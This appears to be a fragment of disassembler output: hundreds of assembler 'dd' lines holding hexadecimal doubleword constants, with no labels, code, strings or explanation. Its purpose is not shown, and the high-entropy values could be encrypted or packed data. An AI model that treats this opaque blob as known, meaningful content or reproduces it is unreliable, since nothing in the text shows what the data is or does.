8809C1FDh, 97C3DAFDh, 1087BF4h dd 0EBDA3B6Ch, 261A8943h, 4C1B780Bh, 814AE356h, 6B055E74h dd 5E7B7FE8h, 0CA5B1275h, 0F1597EC1h, 386802DAh, 0FE34585Eh dd 32A73E81h, 0CF1E4252h, 5644F987h, 0CBBEFEF1h, 0D67C6246h dd 4CD7092Ah, 80DC9763h, 857F63C3h, 8B48A2FAh, 0CDE3DDEBh dd 4EE0C5Eh, 0E8C1E9D9h, 0CC727F74h, 0E302D974h, 86D1F658h dd 81EA59CBh, 7E905B6h, 0D3A57C37h, 57689060h, 2F40A52Eh dd 957F96F7h, 84BEB85Dh, 8E9C5CC8h, 3987E028h, 0CC4B7168h dd 765ED556h, 447B6340h, 5E21404Fh, 0A0ECA0C5h, 5C13F0ECh dd 0F0ADCD01h, 5C1677E6h, 70AAEA31h, 9866F500h, 0CD426EC5h dd 0DFC5E1F8h, 95588C23h, 0F16E8241h, 971CFCC6h, 0AFA5D397h dd 57E453DEh, 0F34C17FBh, 0D62DD6EEh, 4F7F4A7h, 39BA0CFDh dd 0D10812DBh, 578CCF5h, 520538EAh, 4B8B55Fh, 0D606E208h dd 0A4C561FFh, 3CE33FFBh, 0EB7E2812h, 0E3FC84DDh, 1AD94FEh dd 0FB0713F2h, 0A073F002h, 39D85181h, 388592B2h, 0AE4E13C1h dd 49F31F28h, 0C904A526h, 0FF0C7312h, 2F87DEC0h, 0FB2B5A74h dd 0E9DFD402h, 0BB8CE897h dd 480EF8C7h, 0C5356B5Ch, 24C1EA0Dh, 0AA2F604Bh, 0DAE2BA20h dd 748E0537h, 203AB668h, 34090743h, 1812035Fh, 7E8FFF09h dd 27312F50h, 3A3CF5FEh, 1FA2613h, 0D9436F3Fh, 0C30C804Bh dd 5F03293h, 9940124Dh, 4B10AE27h, 0CE90907h, 255F1051h dd 121A0B8Eh, 3704C331h, 25BCA9ADh, 7919C2D3h, 0E0547225h dd 2D8BEC69h, 77A703FCh, 7A120046h, 0F4BDBA52h, 0D5562DB2h dd 0E9F78B39h, 58AFE13Eh, 0BAD3A06Ch, 28E92F2Ch, 5F9DF77h dd 0E6146835h, 90DC523h, 0DC05FCC0h, 500AAC8h, 0F5E9C731h dd 0B756BD43h, 5F8E68C2h, 7FF747F8h, 0B7F8EA7h, 33885610h dd 0FBED982h, 0A50CD6B1h, 0F705781Dh, 0E9B0C328h, 93AA0251h dd 37E5F768h, 213B83Bh, 594893F5h, 75DAD790h, 0E9C336BBh dd 16F360C8h, 7EAF6FF8h, 0E3FA1D98h, 5B132EB4h, 5F1648BDh dd 7A938923h, 0D3364B25h, 79C526E2h, 241A255Bh, 9E975C8h dd 73DD0F4Ah, 209E82Ah, 71F56AC7h, 5505FD5Bh, 66BC0050h dd 890A9043h, 2F3CC85Ch, 60C0568Ch, 0A0233AB8h, 182F4B7Eh dd 0A64922FBh, 0CA310267h, 688476F9h, 3CB75E9Eh, 7A231D05h dd 493A103h, 65A8B007h, 85058673h, 0D7E9D821h, 6858E0A8h dd 0A0F4C21Dh, 979F73A0h, 0FA32939Fh, 60687537h, 6DF57EDh dd 5B3B02E7h, 0BC440CBEh, 2D7F0D49h, 7E8BF5EFh, 8927CECCh dd 0D9185D5Fh, 599DBD22h, 19D3A5A6h, 0F41B860Bh, 0FFEE645Dh dd 0C17B06E1h, 2844ED57h, 8F84D28Ch, 147BB501h, 137F7E65h dd 8CE2EAFDh, 9AE73A78h, 25A5FF3Eh, 4FB5F400h, 594AEB28h dd 88DFC7EBh, 1E9B902h, 0E8B2A402h, 0E418ACFBh, 5A535FCBh dd 3A25E75Dh, 169977Ch, 0F1E4E58h, 56122Fh, 0E90D8FDAh dd 0B6A88D40h, 0CEF8E0C1h, 0B4505903h, 0DFC4FEA8h, 4C060126h dd 175EFD84h, 97ECE851h, 5FC422BEh, 0F9F6214Ah, 4BA920C4h dd 27DC7010h, 4904D35Ch, 888B455Fh, 73246B8Ch, 3182DA00h dd 0FACF89BBh, 1AF664A1h, 0CDCDEA59h, 2D584E81h, 60842C97h dd 6340B1C9h, 5B9090BDh, 8501FA3Ah, 0BB53C201h, 2EE80B44h dd 24E95805h, 0FCCCAA1Bh, 0BEEB6EB1h, 682CC800h, 0D9E66659h dd 0B1A81A74h, 25BF97B4h, 91AADD60h, 5CEF16h, 9088B1B0h dd 3BCC2D0Fh, 68E31F54h, 93F1513Dh, 91012E64h, 0ED12125Ah dd 0DBCC6266h, 6CF7095Ah, 2711984Ch, 8C71A4A6h, 4BE8CA01h dd 0BB600730h, 0B0208433h, 0E6D12F9Eh, 0FA035D0h, 0AB2D1018h dd 97FAF8FDh, 6D326730h, 0C100DD82h, 68C83118h, 813B3C22h dd 32695280h, 2BDE982h, 41BDF166h, 0E650C765h, 4A21685Dh dd 211DB37Fh, 81BC2CBDh, 55624FBAh, 68D5E548h, 0B3BEA01Bh dd 0B7AA249Dh, 2E430BD5h, 627FB889h, 0E908011Ch, 31822991h dd 13DF0670h, 14036E57h, 4620D168h, 4144F081h, 0DEA72F63h dd 4AFDBD4Fh, 8839D8EEh, 0C435A14Dh, 0C88C0329h, 51CE3988h dd 0E8A5F1BEh, 0E59D71F0h, 13C0A466h, 586C49CBh, 924C0A85h dd 705566E5h, 767232F9h, 6CCDD5Bh, 0ACE8212Ch, 0DBDE513h dd 0B387F4C4h, 5F548BF3h, 0B584974Ah, 45D0B95h, 1F16AC37h dd 30444C56h, 0D95008F9h, 0F45C6FABh, 5199815Ah, 107E4A4Bh dd 0EB5EC7C7h, 8AE96904h, 9443CFE1h, 716EC1D6h, 36F68D81h dd 8E2ED213h, 0A978ED0Ch, 4B6A7A91h, 80D802ABh, 49D7F5C6h dd 1ED3C221h, 0CF5B303Fh, 0A8662594h, 29929F1Eh, 4ABDBAF2h dd 15CC1AFh, 77300921h, 0C0415F74h, 92350999h, 4AE91E4Eh dd 71F6EB04h, 0F33280F2h, 961F3E6Ah, 0ECE7F752h, 0B5DE4E51h dd 729C0578h, 6BD95E7Ah, 273D71EBh, 5A253473h, 0FC5124F8h dd 3DB81AF2h, 883FDB07h, 0CB65201h, 2030EE80h, 478D4FE3h dd 3CAF75F2h, 5F5CFA8Ch, 0B2E909DCh, 0ACB4FD20h, 0E90D0247h dd 0D851122Eh, 605C0F31h, 0A987C2Bh, 0EC5F640Bh, 33B10154h dd 0E8CB8C50h, 9DFF3A05h, 8F4C3855h, 0C34BC990h, 48312A57h dd 35AE8E12h, 3912BA2Ah, 0B447148h, 0DE5B5B58h, 0C5ABCBE5h dd 41A3BE9Bh, 0BC894C25h, 0FC636E77h, 5BB8BA55h, 0FE37125Ah dd 0E957BA70h, 0AC4D5B80h, 2DD48149h, 0A02F74A8h, 8BB76072h dd 42857DEDh, 0C2E9A3F5h, 68CEC8E9h, 7928C5F2h, 0E3DF20C7h dd 1B585763h, 8729C032h, 0DDF732EAh, 216ED209h, 3119EF2Dh dd 35242098h, 0F745FD29h, 5D79A0BEh, 0B20BFF95h, 0E98B8745h dd 0B37BD8E2h, 42B83D1Fh, 0B409AD4Bh, 0D4D69EE2h, 7831EF9Dh dd 4765D88Ch, 9C401431h, 0B0F30F77h, 8AA0E7A7h, 0D9E3A108h dd 0DC9BD5E6h, 6FA49BDh, 0AB488304h, 0C3304EE1h, 4A2605FEh dd 0FEDBF716h, 730E9101h, 0F93E1518h, 0FEFA0627h, 0F549C850h dd 4F68ED6Bh, 4089DBF4h, 0DB9D5835h, 0C0F6ACD7h, 0F581E5D1h dd 4BC71F0Bh, 74E289D6h, 0C8298B72h, 0DD791248h, 2F878082h dd 7C11045Eh, 957D2547h, 5569B4E5h, 0CA6C3779h, 0AF1813C6h dd 6050FF2Dh, 38345508h, 0C28B4007h, 25D47919h, 0DADBE34h dd 24D88249h, 0EF58313Dh, 0D0616974h, 23B322FAh, 0DF826478h dd 0E192CB63h, 1108D1DCh, 0F82912B5h, 9FE5ADDh, 75FB5FF2h dd 5C5EB809h, 0E64EF47h, 0FB1CA492h, 0ECEED097h, 0FF870F1h dd 0DAF659CAh, 0FEF48242h, 2D653457h, 950BC0E9h, 0A3274750h dd 4AAD98ABh, 70D19F10h, 0E4CC9089h, 5DD2F0A6h, 0AA258758h dd 1E6F56D4h, 0C1F2FBD3h, 76A7284h, 0E125F488h, 7F12BAF8h dd 0BE71AE9Dh, 5C002FFEh, 5F662B68h, 217B8AFh, 6F83BE56h dd 8FC16276h, 94E62D86h, 1AFA4BD8h, 0D05F0CD5h, 9C0BDE1h dd 0E8B76512h, 13415315h, 0A4A0AE1h, 0A6448DADh, 0FF151977h dd 70E23E14h, 12D6C785h, 236298AEh, 4E7C8D56h, 25E9EA2Ch dd 677F69CDh, 0ABFA1686h, 0E9164CCAh, 55174A7Eh, 777A0281h dd 88607DC2h, 3E2E4DEBh, 6D00081Bh, 2D0A1467h, 7C370364h dd 0DE24E9FCh, 5FEBAE4Fh, 3D71043Bh, 0BFBE8001h, 0BD2F067Eh dd 0D47E4029h, 49DB97BAh, 6E7C400Bh, 8C6818A9h, 191BCF6Ah dd 0F4A50091h, 4D7F5AF5h, 0C1D5263Eh, 2A258868h, 0D5A80631h dd 3A86392Ah, 0BFA5E3EDh, 5AA450CCh, 7B2DAE53h, 2B1E9D3Bh dd 332169CDh, 173BD5A8h, 85C6A217h, 0D34F08F3h, 2CF7500Dh dd 791660EAh, 612C5847h, 0ECE9D809h, 0BF0D0760h, 46CB111Eh dd 71ACFD8Bh, 98A288C4h, 0FB0BC820h, 0DF322E11h, 3408F6A8h dd 74ACBA0Ch, 1643E909h, 50B18DFh, 204C2801h, 32549F08h dd 665FE904h, 0B9F24FD3h, 0D739136Fh, 866EE407h, 0DBB4B17Bh dd 33D87AFEh, 9D5A5BEEh, 8BBC6093h, 24286C9Fh, 0C3F97A06h dd 2D105C4Dh, 3650D472h, 9E75F003h, 9EB810B6h, 14428A96h dd 0DEDEB450h, 357C3C95h, 8022165Dh, 4503EBE6h, 3B0E7724h dd 7802F801h, 51614358h, 0E1991282h, 0C862687Bh, 47A4E41h dd 592DCAF9h, 0C02643D9h, 0C59D8722h, 3C1A3FD9h, 61F5B14Ch dd 0E73AEAF5h, 0A11C0E9Ah, 5C831380h, 463FDAE9h, 90E7E629h dd 2220000h, 0E9567B61h, 2FE10538h, 0FE9263E9h, 0E9829FA3h dd 1C7D7E86h, 97E9832h, 784B563Ah, 39274F6h, 0EF3C20EEh dd 53268BBCh, 0E9061C69h, 3380987h, 0EE86CE88h, 878D5F6h dd 0E066F125h, 3CBEB320h, 5B32D928h, 20C2090Eh, 0C72573F4h dd 0BA5D2746h, 0D19F10CAh, 635D8268h, 591790C8h, 82014EFBh dd 87825051h, 8B669A6Eh, 472468F8h, 98C6F373h, 3D63BDB7h dd 0CF2DEBDDh, 724D806Fh, 31143BFEh, 8E5AD5h, 74E35925h dd 5A5FFD09h, 0B66F984Dh dd 2F2FD2E0h, 6C50F121h, 82D9C52h, 20E47C29h, 0FEE9BDCFh dd 4B07C66Dh, 9AE4FA62h, 2D56808Eh, 0B503EFC0h, 0BB17C2D6h dd 7878C5ACh, 61CA2EC2h, 4C961010h, 23751272h, 4E5C020h dd 71104E6Bh, 5D62C63h, 0CD4673FBh, 7F0E76F1h, 4EDB23CDh dd 8FD9EA03h, 4947BE3Bh, 6E40E781h, 0C14F2710h, 0F71CC978h dd 93C53ADEh, 505A4319h, 0C388403Eh, 67236F13h, 620BBE90h dd 5766936Ah, 80DA4C2h, 514051Ch, 0E41E5486h, 4E165368h dd 1DEE0C73h, 0BD0A8FFh, 29B3148Ch, 0C7E2B04h, 5AE09C5Dh dd 2E4B865h, 440E1F7h, 0D1FAD742h, 23F77082h, 1246FD45h dd 0FA478F10h, 3322A29Eh, 212F54Fh, 0D627F6BBh, 0AC104DA6h dd 0B4804E42h, 0E1617E68h, 0A5E7A83Fh, 0EC13DC84h, 61FFC953h dd 389BFE3Ch, 57729953h, 1646B460h, 0F1430E16h, 0E9D9CCE7h dd 1610D32Ah, 0CEEBBE01h, 0A8055D30h, 2DD084D1h, 380925F3h dd 0F30C2DFh, 9119407h, 443EF4E9h, 1556C8F5h, 60135726h dd 4E402EF5h, 0B52FC9A6h, 7C77C562h, 26090211h, 0E7FC558Bh dd 60DE502h, 0FEDC5571h, 382FD249h, 61D8FE33h, 2B78BFC9h dd 6564A5A0h, 0B96F950Ch, 5F310B60h, 22C9FCD1h, 28524A28h dd 0F2F85767h, 0C3D0885Bh, 714E97CDh, 40D6F82Ch, 4EB055B6h dd 7CDFF627h, 5BDD507Eh, 9658C5B5h, 4E75ACA1h, 3D16DD8Bh dd 8C6AE816h, 41028453h, 64BE2F52h, 0D6A1EB0Eh, 0EE4AB232h dd 0E7E9E202h, 0DD22550Eh, 8771FB6Fh, 0CEEBD7CEh, 22F4D4Ah dd 1CA110BEh, 2AC68045h, 0BF633775h, 0E50CC676h, 0AC51A05h dd 0A34B3243h, 3CEA029Eh, 287D152Ch, 8B1E084Ch, 0CA19D1EFh dd 67B78260h, 85D51786h, 0E4AA07D9h, 0C3242F86h, 5383130Bh dd 915E33Bh, 9A591E5Ah, 1CD018D8h, 141C6808h, 5C97572Eh dd 0AEB507BCh, 14B9F748h, 0B712E566h, 735CC58h, 5C28F541h dd 30045217h, 66B8B72Eh, 80B15101h, 21E9CF08h, 0BA007F2Ch dd 49E6195Eh, 0B498D631h, 1513E75Eh, 70629EEAh, 80001B90h dd 0E83085C5h, 9C1B5AE9h, 47FA70Fh, 0EC985E1Bh, 0BD5C97D2h dd 66D0C90Dh, 0E12A7335h, 1B2C7F86h, 0AD314E29h, 89BAD6C6h dd 0C28A2010h, 0C7647ABEh, 0F64EB8AEh, 68E91847h, 0FA3534BFh dd 61673C0Fh, 0B6126548h, 0B90207F9h, 49912B47h, 7BA2EE57h dd 63421235h, 0DE14AE68h, 5EADDDE9h, 535982F7h, 44C047C4h dd 0D58412Bh, 4FE648DAh, 0EF6A8F21h, 0EE97307Eh, 7F4B3E7Ch dd 2B6868A0h, 26FF506Bh, 0BFF200Eh, 55D831ADh, 0B72B0B82h dd 0D6F58100h, 0C73FF90Ch, 0C7174CDBh, 3B5A8302h, 75FD5B57h dd 5DA53347h, 16BD88B6h, 82FA7148h, 64A0E458h, 8B2DB830h dd 1263D4F3h, 55ACB8AFh, 3A8320BEh, 52BA2003h, 0CC42D687h dd 370963C5h, 5523A563h, 6FC5A5EEh, 4289EB8Ah, 7EB55C58h dd 0DE4C700Dh, 250F25A0h, 0FD4AE0BFh, 30539851h, 683ED529h dd 8A312E2Dh, 0E4728A79h, 7F9CBE00h, 78147562h, 0D9C75FD3h dd 4EC2F02Fh, 0AC4112A1h, 0ACAEB4BFh, 0A9683F96h, 0B09EE542h dd 23EB28D6h, 0FCC6E8h, 0B53F8568h, 272A9061h, 0EE49EB87h dd 4C7F7954h, 231B0570h, 10FF7E8Eh, 0B75807E3h, 7AD51024h dd 14C2BE7Ch, 60FF2932h, 6181C35h, 0EFE945D3h, 962A8DC2h dd 789F5A6Bh, 1CC5651Ch, 2131C131h, 0C3828AF3h, 0AC05A602h dd 63FEDF01h, 0EA848A2Ah, 9648BF8Bh, 73013506h, 0B09F3650h dd 27407D93h, 0D65C2591h, 0F2144916h, 11F6059Dh, 40AB542Ch dd 52332A0h, 120E914h, 1DADB07Dh, 6E6B17E6h, 4B1131D3h dd 0C60A855Eh, 0C7C4166Ah, 85E4FDEEh, 0B7AF6CE5h, 4EAF588Bh dd 0D15BCBCAh, 225EA7h, 0D00BE2E9h, 620E95D7h, 95FB14Eh dd 3F680A05h, 2A124111h, 0AF2166h, 7E0FE546h, 51906B06h dd 24FB8748h, 0D000763Ch, 89F0BA0Ah, 0C319B0EBh, 0BB32E906h dd 6945E35Fh, 0AE5607C7h, 0C8E12B46h, 8F70B722h, 3922E548h dd 0DB31CE93h, 733162EDh, 598AD06Ah, 2B61FA6Bh, 8CBA830Ch dd 2F37DEF2h, 54356E0h, 0CB3C6774h, 2774CC59h, 0D7FBA8AEh dd 7D4EA709h, 412DC658h, 90D8E4BDh, 16BA5E4Eh, 41CFAAE4h dd 6BCFE90Bh, 52C01071h, 0D25CE950h, 0B0EAA857h, 0A83E9E68h dd 0C1F9D1C2h, 2897B428h, 0A6D2E4E7h, 8F4FB8BCh, 8ABA9698h dd 12FF5A32h, 4F05EC6Eh, 0F2D879CBh, 8EB9A127h, 0E9535243h dd 1A82544Bh, 0F205F9BDh, 0D00B0057h, 4173C830h, 24524601h dd 476B016h, 824BA1B8h, 45DD592Fh, 87869214h, 0F928C213h dd 6605B44Ch, 0CA885250h, 57A8FE12h, 0B11C8091h, 49D11EBBh dd 0F1536A1Dh, 0A07B608h, 1E7602BAh, 0C72882C1h, 8FF0146h dd 0D221083Bh, 502E6861h, 0E829A193h, 76564A90h, 5DDA4BEEh dd 0CD099CF3h, 30A27ACCh, 80346254h, 6CB2CEAh, 19685779h dd 0B0025044h, 0E9C7201Ah, 9571D824h, 175B8260h, 0E3034591h dd 0EAEF14CBh, 0E952B8D3h, 75715BDCh, 0C28F0D28h, 8BEC7823h dd 592B21BFh, 0B259FC88h, 0D2437292h, 8FF88107h, 7D0ED180h dd 0EE6B932Fh, 71E913F1h, 60A3E52Dh, 0C1D60E53h, 0CE9C9506h dd 0EF83176Ah, 6AFCD802h, 5C1914B4h, 843B294Bh, 0C5FCAEC9h dd 217D766Bh, 2536E9A0h, 0A34CA123h, 1E74011h, 0CAD012C6h dd 47B8959h, 12FC2459h, 0BC7913EBh, 5EC8A4C9h, 36BB0553h dd 0BE08613Ah, 0DD0556C2h, 0F5838378h, 0DF2FDE20h, 4B55409Ah dd 0D6354807h, 76790412h, 8472250Eh, 7C17AB3h, 0C278E749h dd 22DBC9A1h, 0BD6882A2h, 9D14D52Ch, 0FCF10395h, 87794D22h dd 1237B24Ah, 0C8EDE0BDh, 105B05D2h, 53B613DDh, 5772FB8Ch dd 747E572Dh, 0C7EFCA3Ah, 6F06A07Eh, 88BF41ACh, 0E909075Bh dd 0BB8E406Ch, 123F1E34h, 0E8A38C0Fh, 7909BA14h, 5653825Bh dd 603185Ch, 0C2148305h, 20D64A01h, 0F3282440h, 0FB931399h dd 5BA89F88h, 0ED6D31A1h, 0BDEA0484h, 0A65B3DCEh, 51937537h dd 0E983B8F7h, 2A1DA962h, 96D7F430h, 8C1429F1h, 0AD05E8ABh dd 0B5AF5064h, 51465A09h, 3CF3429Ah, 3DBA4B29h, 134392BFh dd 0E99F17EEh, 67E9B1A2h, 0C10C686Ch, 0ED3608E6h, 0B3828C9Ch dd 0C221CC43h, 68D2A085h, 8E0D78h, 56575865h, 0E5074BEh dd 81414E61h, 0FAD0A1EEh, 5D51B53Fh, 1E30853Eh, 0C70C678Fh dd 0EEE5973Eh, 0C86B4A03h, 0F49008EAh, 948E7C20h, 13F8ACCAh dd 25193D8h, 2B5E1AC2h, 7264762Dh, 0CAC6DC76h, 0E0564BB8h dd 0B63E11F7h, 3F251338h, 6AC04FB8h, 4A50DA5Ah, 0F36D4C3h dd 4E93AAh, 0F390E7D0h, 5EF209C3h, 9409239h, 18FFD3E9h dd 5AC1211Ch, 0EC0BEA58h, 0F7C4DFC5h, 68A7CE85h, 953DA3CDh dd 8FD0057Eh, 44405E47h, 445405h, 6106ABBBh, 174C9870h dd 0FA8F9EF9h, 0DEEDA51Ch, 0ED5F273Dh, 2D5093Ah, 760B0F46h dd 766B8558h, 0BBE02D5Eh, 0E1245618h, 703311Ah, 4192860h dd 770EB40Ch, 0E594EF49h, 90C081Ah, 5E487D14h, 588135B2h dd 15E0EEF1h, 0ABC4B5E2h, 68D23105h, 47443E54h, 0A7A165E9h dd 0A28ABC6Bh, 270AEC5Eh, 0CEA29868h, 2901ACC8h, 0A86E05D8h dd 0F1127574h, 0A6BE4837h, 30E93E5Fh, 8B5D306Fh, 6D5C9D2Ch dd 0B847BF56h, 38E3ADA4h, 0B9E401F6h, 58551FC9h, 67BD481h dd 36E0E3Bh, 40384EF1h, 390C0927h, 1C031F2Eh, 30FF02E1h dd 7C8B25C0h, 1B598CC0h, 76216F74h, 0E6817CBh, 0BBE36143h dd 44915211h, 278F795Fh, 89AC895Dh, 0FA505534h, 8160D9Eh dd 438514B8h, 8FB4BCE8h dd 0C579CC68h, 0BB934AC1h, 0A64F078Bh, 1DCB5A22h, 0B25D2C04h dd 7C81FE10h, 342E60F0h, 0BB8882E3h, 6F6A750Bh, 2BD5CB61h dd 6352838h, 7AC0C3E8h, 0E090A950h, 0F83B6841h, 64E706DBh dd 0B7AE0EEFh, 0B5540D5Eh, 0AD2095FBh, 780CD69Dh, 5699D777h dd 642C8C8Bh, 0D74A9D78h, 9D8078D5h, 3E6EF938h, 82DB5481h dd 0E975DCD2h, 5427BCFCh, 0F44CFB41h, 0EC0510A7h, 96CDBC5Fh dd 5C23E504h, 0ABE66804h, 67B6CF44h, 192EEA3h, 0E84C50C4h dd 0BA3E8D4Fh, 0A02BD1F6h, 704DAA38h, 3BF203ABh, 0D90AA229h dd 0E4736EDDh, 1D455827h, 1408C88h, 6A011DB8h, 4DB13A33h dd 0C2B21C6Bh, 836851F3h, 537EC5Dh, 31F2411Dh, 0DAA54056h dd 0E9485F28h, 8BD93A32h, 0CBEAF5EFh, 68130F96h, 66605753h dd 16AF4CA1h, 0FEDBF711h, 35B4A299h, 82B8AF2Ch, 0C42CEE5Eh dd 4DEB3187h, 28F3E906h, 500B5FFFh, 0F53B283Dh, 0CF8159E0h dd 195207D7h, 0AFE7C178h, 0AF23F720h, 501AE2Fh, 3B6964CDh dd 8BDC322Dh, 0F9E6B851h, 0FB840745h, 20AA1217h, 0FBCEE954h dd 3AC9FE5Ah, 3DD0886Ah, 0A4FF768Ah, 0EC579260h, 80BFD244h dd 0B4E9F91Dh, 0A83DDA4Fh, 0EC28B2Ah, 1663D368h, 539B8EABh dd 3A449655h, 580A2F3Ah, 0C9571E57h, 5422B876h, 21F14792h dd 3F2772ADh, 9B9E5250h, 571763h, 1C69EAB0h, 0C0954B64h dd 814493F4h, 1EEA2B2Dh, 13DCB4FBh, 1F25EB91h, 1012361Fh dd 0ED693EC5h, 4A85CE2Eh, 35D4C8FFh, 0B2FEC62Eh, 714F6DEFh dd 7363B400h, 0D13B0557h, 0BCD6F7EEh, 206904E0h, 9A0F0FE4h dd 0D5964965h, 53E2121Ch, 7895BFB9h, 4B09D08h, 0FA7B7968h dd 5B059ACFh, 0FE8ADFE9h, 8948C9E3h, 0F2C25F85h, 0C5238AE5h dd 0BB23FDA5h, 0BE4FC5CBh, 5575C8AEh, 0CF958767h, 31A1D73h dd 4594BF0Eh, 8DE50C7Fh, 7DE501BFh, 505C0162h, 8B0E9D2Bh dd 0C4F2A2D3h, 0E9055F0Ch, 0EF1A66F8h, 24681280h, 27CBBB0Dh dd 85FFB84Bh, 0AC1BF387h, 47CD908h, 0B823302Bh, 31581970h dd 384805AFh, 90EE6C73h, 5920E9F6h, 4D444F2Eh, 2EEEF102h dd 0A1D08F50h, 0F4137753h, 0CB61F7D4h, 0B709F1FBh, 26EBAD7Dh dd 7CF7B22Fh, 7342820Bh, 70D3FE58h, 511247EDh, 8DEC2957h dd 0B87B0841h, 8708F52Dh, 0F92106E2h, 510B705Fh, 0D6150A20h dd 0E2762FB4h, 0BB7E5178h, 96AC0996h, 686271DEh, 0AF98D701h dd 5595B850h, 0DC485E89h, 532628Fh, 81F7784Ch, 0B527E907h dd 2C785163h, 46061FE3h, 0C4B7877h, 0C49ED5B8h, 0E8A43B17h dd 0E601018h, 0F8E6891Dh, 89695524h, 0B87F271Eh, 0D3659350h dd 0ECD0FE59h, 0BFD7F747h, 4BE98360h, 0F609B7BEh, 39187DF9h dd 97FE3381h, 0E0E95E4Ah, 9CCDCDDEh, 9F036B16h, 0DAC8CC80h dd 75384BE8h, 4211B6ECh, 0A5478E25h, 2CEDE525h, 211313FAh dd 8E6E39C8h, 0C588EEBDh, 1AEB9FE2h, 3EC522E6h, 7092E9C2h dd 7880765Bh, 70FC2C1Ah, 8456F2Ah, 9AE2EF50h, 81874B79h dd 385559E1h, 9140B920h, 7FC026B1h, 0D9F625E9h, 7C505D41h dd 60BF4F7Dh, 0FA54DF31h, 6DF05AB8h, 4229D9BFh, 59F5F137h dd 73281A0Bh, 1A0BBF7Eh, 3000DF5Dh, 49457AEBh, 93676BDh dd 64FE38C1h, 0CB930F68h, 27DDA608h, 42DA18Ah, 0FAC46859h dd 0EA236446h, 75BB0E76h, 0A534B31h, 4045DC75h, 4D546AC8h dd 0DE4E5B79h, 0BF89DAD9h, 9ADF8B68h, 0A5E5C9F4h, 358509CEh dd 429EF05Fh, 5861CA41h, 453EC97Ch, 0ECBA2660h, 0C4B88D08h dd 59A1D467h, 0EBF0B764h, 0CEFA9741h, 5057452Ah, 97BBF4h dd 5D0105E4h, 0AE7E4ACCh, 0E909029Bh, 467750E1h, 58542626h dd 0ACA2E11h, 17C1C188h, 3FE9F33Bh, 0AECC4E5Ah, 45501015h dd 4732810Ch, 0FB310BA8h, 0C47DE66Ah, 31BFCC05h, 2ABE8A88h dd 0C238ECA3h, 0EEF4EA51h, 14B297BCh, 8967B257h, 0E340D792h dd 513B951h, 43018065h, 0D729DEE9h, 9BEB61FAh, 25C2CB3Bh dd 0D8A57E2Ch, 0CE9FDAF8h, 6086F622h, 58B816C2h, 7E02F567h dd 256C9D0Dh, 9C62D555h, 6A4BDB60h, 0E03A8A2Dh, 97F1C34Fh dd 68863DF1h, 2F51592Dh, 0B84E2F19h, 0B46D2BFh, 0EBECF870h dd 322993F7h, 5880F3CCh, 0EE59C97Ch, 0B5B977E6h, 22D6F054h dd 0D10B009Bh, 52CA5C67h, 536D25D7h, 3BDF611h, 5F268EBEh dd 36965008h, 5677823Bh, 0A5B0951h, 0D000CD66h, 81563B73h dd 178C34C2h, 0FF50A9C4h, 8FEBD331h, 456B2104h, 0F291801Ch dd 0E204F416h, 5AD72731h, 6805DDF4h, 99454DE7h, 8FC8F6C6h dd 5946181Dh, 85149D51h, 5EB45080h, 0D5D2A48Eh, 0A594DE95h dd 8B9ACF7Fh, 0C65EDB71h, 0D978E5C2h, 39D5A758h, 2C7C5F47h dd 4A7ADD50h, 8473CBA2h, 6DB8EE94h, 3BECEBC0h, 12C29A8h dd 0B2073DD3h, 40ACF421h, 4BE516C6h, 0AEE5C412h, 0BEC53FA8h dd 0FAB9D1EAh, 49496A5Fh, 55DCC263h, 0FBA49FF3h, 9C0F562h dd 4833515Dh, 40AB6281h, 5E60CAF4h, 0E1076CE9h, 9F99B96Bh dd 2185FF13h, 2E78F4F8h, 0BF80F09Eh, 0A007464Ah, 80BF24C9h dd 1C886804h, 77734C86h, 16AA0510h, 0D819F987h, 55F05008h dd 90109778h, 4B552168h, 5A5EE04Ah, 0F5251092h, 92B9552Fh dd 27AB3992h, 78E9710Ch, 0D1AB9187h, 0B05A2878h, 7AC34792h dd 0F768A108h, 6AEA0E04h, 466D29D6h, 5F97590Bh, 0B2D245BEh dd 60EC7DEBh, 490BB8B3h, 57736077h, 17E9F7C8h, 16254F5Bh dd 79C89CFEh, 0F73C3941h, 0BFF72F78h, 59D579E2h, 59C543FCh dd 74F7ED03h, 6EF161h, 0F1F230Ch, 0FAD0E93Fh, 5DDEEDAAh dd 8E94F525h, 32E213D2h, 28310492h, 39AE1217h, 0C1804082h dd 2B3A395Bh, 63EAD5E9h, 0EA939E9Eh, 0CE258AAh, 0F92837DDh dd 0A8099311h, 0F825C871h, 0E606D3C9h, 5337007Fh, 7E2D0644h dd 4A5F013Eh, 0CF7D1925h, 0F6B23B5Ch, 2AE07Ah, 0A50D224Eh dd 3528E634h, 26184FECh, 565C290Fh, 0CF03F68h, 259090FCh dd 595AD85Dh, 59E74826h, 0CF42AA40h, 65B9F61Ch, 0EAC2D552h dd 0E1472BA1h, 0DE22C8D2h, 7445510Eh, 29295CEAh, 0EA6999F8h dd 4CABD515h, 0AC8228A4h, 0C5BE033Dh, 0D27C7620h, 62DF64Ah dd 24F8015Ah, 0CAE61454h, 0C16E32B8h, 58E6040Eh, 3ACAD9BFh dd 80C6341Fh, 1E061DC6h, 1DCE288Eh, 295E6DEEh, 7D495597h dd 0BB4855BDh, 57C06C1Ah, 0C05B66FCh, 322CC6E4h, 0C3988DCEh dd 0A928B278h, 0A797DF45h, 0E9C129B4h, 277AEE3Ch, 0CF239B27h dd 6DAA6866h, 0A842F454h, 0D5147730h, 0A23FA720h, 0AA29F7FAh dd 0B6DCA30Bh, 59CE2986h, 0D0C8BD1Eh, 0D87DE955h, 9F09ADBAh dd 500C57CCh, 0E43B0AEh, 79180AB7h, 0A4141EF8h, 24AC3D48h dd 0F2409DE4h, 69C2964Ah, 6BFADAAEh, 888482BDh, 805004EAh dd 96184275h, 0FB9280FFh, 9615653h, 18F695CDh, 47526500h dd 1740E681h, 0AA24E425h, 2AE9CB02h, 0FC848BBEh, 0C43B09BAh dd 31489414h, 3352102Ah, 8ADF0116h, 0F5A06B72h, 0F72955C0h dd 0F40DC98h, 7C709F59h, 9DF27220h, 0D9D090F5h, 0C2BCB692h dd 76090DA4h, 0C3DA0918h, 0EA9F86F9h, 86B27F2Dh, 0B72B66F5h dd 0F20955E7h, 985646E1h, 5FBF3119h, 1090F01Fh, 0E9273E05h dd 1CBBDFA4h, 0BF1C7412h, 843C2E8Dh, 78310104h, 0C0E5C040h dd 1D30CC7Ch, 541A0E4Bh, 0A0DC4B11h, 5760AEC7h, 23B5515Fh dd 1E87628h, 34A80459h, 2FC23010h, 27C42AA8h, 1EB20067h dd 7E66D028h, 883ECF5Ah, 5B2161E9h, 89678C68h, 0FCB789C3h dd 78F273CCh, 0DF27AC56h dd 43DA9E32h, 